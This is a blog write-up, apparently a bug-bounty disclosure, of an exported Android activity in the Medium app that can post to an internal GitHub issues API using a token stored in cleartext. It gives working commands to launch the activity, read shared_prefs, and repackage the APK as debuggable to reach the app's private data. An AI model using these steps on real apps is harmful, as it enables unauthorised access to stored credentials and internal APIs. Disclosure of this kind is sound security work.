Medium Hacking Stories #1: Access to Internal API calls via Camouflaged GitHub Activity
Hacking Medium #1: Exported Android Activity Fiasco
As we all know exposing activities can lead to various attack scenarios. If you don’t know what is an Android activity, listen to Google explaining it briefly —
“The Activity class is a crucial component of any Android app, and the way activities are launched and put together is a fundamental part of the platform’s application model” — developer.android.com
If that was a bit complicated,
Everything that you see in an android app is kind of being done via an activity. For example, say you click on the Facebook app icon in your phone, it will show a window with your feed, but internally system has started a Launcher activity
whose job is to show you data in a certain format and also provide you options to move to other activities like seeing notifications or your messages.
While most programming languages using the main() function to start a program, the Android system initiates code in an Activity instance by invoking specific callback methods that correspond to specific stages of its lifecycle. To use an activity, it must be declared in the manifest as follows:
<manifest ... >
<application ... >
<activity android:name=".ExampleActivity" />
...
</application ... >
...
</manifest >
While the only required attribute is android:name, which specifies the class name of the activity, other configured attributes are those exposing the activity to security risks. Why?
To allow apps to communicate with each other, the developers can explicitly expose the activity, by setting the android:exported attribute to true.
This means that any application installed on the device can send an intent to launch the exported activity.
Why exported activities *can* be bad?
Let’s try again, read the line again from above with one teeny-tiny change.
Any malicious app can invoke exported activities for performing various malicious actions. If this doesn’t sound scary to your ears, I don’t know what will.
Summary
I also discovered another exported activity which isn’t accessible by the app’s user-interface but can be invoked to access restricted actions for end-users.
The activity called com.medium.android.donkey.meta.gitout.GitOutActivity
is not an intended feature, an activity can not be invoked throughout the application which when invoked can query internal Medium API over repos/Medium/tickets/issues
as referenced in GithubApi.java
.
GithubApi.java code fragment,
public interface GithubApi {
@POST(“repos/Medium/tickets/issues”)
Observable<ResponseBody> createIssue(@Header(“Authorization”) String str, @Body CreateGithubIssueRequest createGithubIssueRequest);
}
Invoking GitOutActivity
Invoking an exported activity is pretty easy.
$ adb shell am start -n com.medium.reader/com.medium.android.donkey.meta.gitout.GitOutActivity
Exploit In Action
If we know the token, we can create issues in Medium’s internal API.
Where’s the token then?
The GitHub token is stored in *cleartext* using Shared Preferences and can be accessed over data/data/com.medium.reader/shared_prefs/*
.
Android SharedPreferences — a common component of Android applications are a set of APIs that manages for the developer data of every type, providing a clean way to permanently store and retrieve them from the device. Them are used almost in every android app.
If you have rooted device, all you have to do is,
cd /data/data/com.medium.reader/shared_prefs
su -c cat *.xml
But if you try to list XML files without a rooted phone, you will quickly face a wall.
0x48piraj~Rex:/ $ ls /data/data/com.medium.reader
ls: /data/data/com.medium.reader: Permission denied
0x48piraj~Rex:/ $ id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0
Oops. You don’t have the permissions to read the content.
But hey hey, calm down, don’t start rooting your phone. It’s just a bit bumpy road from here on. So, hold tight!
Say hello to “Debuggable”
For a developer, it’s important for debugging purpose to make the files used available, so you can flag an android application as debuggable to be able to access the filesystem.
To make debugging possible, Android supports the Java Debug Wire Protocol (JDWP). This is a technology that allows tools such as ADB to communicate with a JVM. JDWP can be configured by the value of the android:debuggable
attribute in an Android application.
Decompiling the application using apktool,
$ apktool d com.medium.reader.apk
Adding the debuggable flag to the Manifest.xml
,
<manifest ...>
...
<application ... android:debuggable="true">
...
</application>
</manifest>
Recompiling the application with apktool and sign.jar,
$ apktool b com.medium.reader/ -o com.medium.reader.modified.apk
$ java -jar sign.jar com.medium.reader.modified.apk
$ adb install com.medium.reader.modified.apk
Installing the modified application and launching adb in context,
$ adb run-as com.medium.reader
> ls
cache
code_cache
lib
shared_prefs
> id
id=10170(u0_a170) gid=10170(u0_a170) groups=10170(u0_a170),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:untrusted_app:s0:c170,c256,c512,c768
Ka-boom.
Aftermaths
Actually, this bug was combined with other bugs as well which got me a severity 3 report — the case is still under investigation.
Yeah, I am 𝚍̶𝚞̶𝚖̶𝚋̶, lazy.
I will release other chained bugs as soon the case is closed and all the vulnerabilities are mitigated.